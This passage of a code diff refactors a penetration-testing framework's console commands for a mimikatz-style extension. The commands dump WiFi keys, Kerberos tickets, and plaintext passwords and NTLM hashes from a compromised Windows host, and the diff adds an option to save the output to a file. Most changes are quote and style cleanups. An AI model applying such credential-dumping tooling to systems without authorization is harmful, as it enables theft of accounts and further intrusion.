- export_path = "."
246
+ export_path = '.'
248
247
 
249
248
  @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
250
249
  case opt
251
- when "-e"
250
+ when '-e'
252
251
  export = true
253
- when "-p"
252
+ when '-p'
254
253
  export_path = val
255
254
  end
256
255
  }
@@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi
261
260
  fields << 'Export Path' if export
262
261
 
263
262
  table = Rex::Ui::Text::Table.new(
264
- 'Header' => "Kerberos Tickets",
263
+ 'Header' => 'Kerberos Tickets',
265
264
  'Indent' => 0,
266
265
  'SortIndex' => 0,
267
266
  'Columns' => fields
@@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi
280
279
 
281
280
  # write out each ticket to disk if export is enabled.
282
281
  if export
283
- path = "<no data retrieved>"
282
+ path = '<no data retrieved>'
284
283
  if t[:raw]
285
284
  id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
286
285
  file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
@@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi
305
304
  #
306
305
  def cmd_kerberos_ticket_purge(*args)
307
306
  client.kiwi.kerberos_ticket_purge
308
- print_good("Kerberos tickets purged")
307
+ print_good('Kerberos tickets purged')
309
308
  end
310
309
 
311
310
  #
@@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi
313
312
  #
314
313
  def cmd_kerberos_ticket_use(*args)
315
314
  if args.length != 1
316
- print_line("Usage: kerberos_ticket_use ticketpath")
315
+ print_line('Usage: kerberos_ticket_use ticketpath')
317
316
  return
318
317
  end
319
318
 
@@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi
325
324
 
326
325
  print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
327
326
  client.kiwi.kerberos_ticket_use(ticket)
328
- print_good("Kerberos ticket applied successfully")
329
- end
330
-
331
- def wifi_list_usage
332
- print(
333
- "\nUsage: wifi_list\n\n" +
334
- "List WiFi interfaces, profiles and passwords.\n\n")
327
+ print_good('Kerberos ticket applied successfully')
335
328
  end
336
329
 
337
330
  #
338
331
  # Dump all the wifi profiles/credentials
339
332
  #
340
333
  def cmd_wifi_list(*args)
341
- # if any arguments are specified, then fire up a usage message
342
- if args.length > 0
343
- wifi_list_usage
344
- return
345
- end
346
-
347
334
  results = client.kiwi.wifi_list
348
335
 
349
336
  if results.length > 0
@@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi
362
349
  table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
363
350
  end
364
351
 
365
- print_line table.to_s
366
- print_line "State: #{r[:state]}"
352
+ print_line(table.to_s)
353
+ print_line("State: #{r[:state]}")
367
354
  end
368
355
  else
369
356
  print_line
370
- print_error("No wireless profiles found on the target.")
357
+ print_error('No wireless profiles found on the target.')
371
358
  end
372
359
 
373
360
  print_line
374
361
  return true
375
362
  end
376
363
 
364
+ @@creds_opts = Rex::Parser::Arguments.new(
365
+ '-o' => [ true, 'Write the output to the specified file.' ],
366
+ '-h' => [ false, 'Help menu.' ]
367
+ )
368
+
369
+ #
370
+ # Displays information about the various creds commands
371
+ #
372
+ def cmd_creds_usage(provider)
373
+ print_line("Usage: creds_#{provider} [options]")
374
+ print_line
375
+ print_line("Dump #{provider} credentials.")
376
+ print_line(@@creds_opts.usage)
377
+ end
378
+
377
379
  #
378
380
  # Dump all the possible credentials to screen.
379
381
  #
380
382
  def cmd_creds_all(*args)
381
383
  method = Proc.new { client.kiwi.all_pass }
382
- scrape_passwords("all", method)
384
+ scrape_passwords('all', method, args)
383
385
  end
384
386
 
385
387
  #
@@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi
387
389
  #
388
390
  def cmd_creds_wdigest(*args)
389
391
  method = Proc.new { client.kiwi.wdigest }
390
- scrape_passwords("wdigest", method)
392
+ scrape_passwords('wdigest', method, args)
391
393
  end
392
394
 
393
395
  #
@@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi
395
397
  #
396
398
  def cmd_creds_msv(*args)
397
399
  method = Proc.new { client.kiwi.msv }
398
- scrape_passwords("msv", method)
400
+ scrape_passwords('msv', method, args)
399
401
  end
400
402
 
401
403
  #
@@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi
403
405
  #
404
406
  def cmd_creds_livessp(*args)
405
407
  method = Proc.new { client.kiwi.livessp }
406
- scrape_passwords("livessp", method)
408
+ scrape_passwords('livessp', method, args)
407
409
  end
408
410
 
409
411
  #
@@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi
411
413
  #
412
414
  def cmd_creds_ssp(*args)
413
415
  method = Proc.new { client.kiwi.ssp }
414
- scrape_passwords("ssp", method)
416
+ scrape_passwords('ssp', method, args)
415
417
  end
416
418
 
417
419
  #
@@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi
419
421
  #
420
422
  def cmd_creds_tspkg(*args)
421
423
  method = Proc.new { client.kiwi.tspkg }
422
- scrape_passwords("tspkg", method)
424
+ scrape_passwords('tspkg', method, args)
423
425
  end
424
426
 
425
427
  #
@@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi
427
429
  #
428
430
  def cmd_creds_kerberos(*args)
429
431
  method = Proc.new { client.kiwi.kerberos }
430
- scrape_passwords("kerberos", method)
432
+ scrape_passwords('kerberos', method, args)
431
433
  end
432
434
 
433
435
  protected
434
436
 
435
437
  def check_privs
436
438
  if system_check
437
- print_good("Running as SYSTEM")
439
+ print_good('Running as SYSTEM')
438
440
  else
439
- print_warning("Not running as SYSTEM, execution may fail")
441
+ print_warning('Not running as SYSTEM, execution may fail')
440
442
  end
441
443
  end
442
444
 
443
445
  def system_check
444
- unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
445
- print_warning("Not currently running as SYSTEM")
446
+ unless client.sys.config.is_system?
447
+ print_warning('Not currently running as SYSTEM')
446
448
  return false
447
449
  end
448
450
 
@@ -459,7 +461,12 @@ protected
459
461
  # Meterpreter that lay in the house that Jack built.
460
462
  #
461
463
  # @return [void]
462
- def scrape_passwords(provider, method)
464
+ def scrape_passwords(provider, method, args)
465
+ if args.include?('-h')
466
+ cmd_creds_usage(provider)
467
+ return
468
+ end
469
+
463
470
  check_privs
464
471
  print_status("Retrieving #{provider} credentials")
465
472
  accounts = method.call
@@ -468,24 +475,40 @@ protected
468
475
  'Header' => "#{provider} credentials",
469
476
  'Indent' => 0,
470
477
  'SortIndex' => 0,
471
- 'Columns' =>
472
- [
473
- 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
478
+ 'Columns' => [
479
+ 'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash'
474
480
  ]
475
481
  )
476
482
 
477
483
  accounts.each do |acc|
478
484
  table << [
479
- acc[:domain] || "",
480
- acc[:username] || "",
481
- acc[:password] || "",
482
- "#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
483
- to_hex(acc[:lm] || ""),
484
- to_hex(acc[:ntlm] || "")
485
+ acc[:domain] || '',
486
+ acc[:username] || '',
487
+ acc[:password] || '',
488
+ to_hex(acc[:lm]),
489
+ to_hex(acc[:ntlm])
485
490
  ]
486
491
  end
487
492
 
488
- print_line table.to_s
493
+ output = table.to_s
494
+ print_line(output)
495
+
496
+ # determine if a target file path was passed in
497
+ file_index = args.index('-o')
498
+ unless file_index.nil?
499
+ if args.length > file_index + 1
500
+ # try to write the file to disk
501
+ begin
502
+ ::File.write(args[file_index + 1], output)
503
+ print_good("Output written to #{args[file_index + 1]}")
504
+ rescue
505
+ print_error("Unable to write to #{args[file_index + 1]}")
506
+ end
507
+ else
508
+ print_error('Missing file path for -o parameter')
509
+ end
510
+ end
511
+
489
512
  return true
490
513
  end
491
514
 
@@ -496,8 +519,7 @@ protected
496
519
  # @param (see Rex::Text.to_hex)
497
520
  # @return [String] The result of {Rex::Text.to_hex}, strip'd
498
521
  def to_hex(value, sep = '')
499
- value ||= ""
500
- Rex::Text.to_hex(value, sep).strip
522
+ Rex::Text.to_hex(value || '', sep).strip
501
523
  end
502
524
 
503
525
  end